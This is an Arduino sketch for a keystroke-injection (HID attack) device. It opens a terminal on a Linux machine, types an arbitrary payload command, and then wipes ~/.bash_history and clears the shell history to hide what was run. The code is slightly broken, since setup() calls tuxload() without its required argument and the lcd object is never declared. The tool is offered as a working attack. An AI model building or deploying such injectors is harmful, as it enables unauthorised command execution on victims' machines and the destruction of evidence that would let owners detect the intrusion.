#include "Keyboard.h"
void tuxload(String command){
//LAUNCHES ELEVATED TERMINAL SESSION
//===================================//
Keyboard.press(0x82);
delay(200);
Keyboard.press(0xC3);
delay(200);
Keyboard.releaseAll();
lcd.setCursor(0,1);
lcd.print(" EXECUTING. ");
delay(1000);
Keyboard.print("xterm");
delay(300);
Keyboard.write(0xB0);
delay(3000);
lcd.setCursor(0,1);
lcd.print(" EXECUTING.. ");
//EXEC PAYLOAD
Keyboard.print(command);
Keyboard.print(" && cat /dev/null > ~/.bash_history && history -c && exit");
delay(300);
lcd.setCursor(0,1);
lcd.print(" EXECUTING... ");
Keyboard.write(0xB0);
delay(100);
}
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
tuxload();
}
void loop() {
}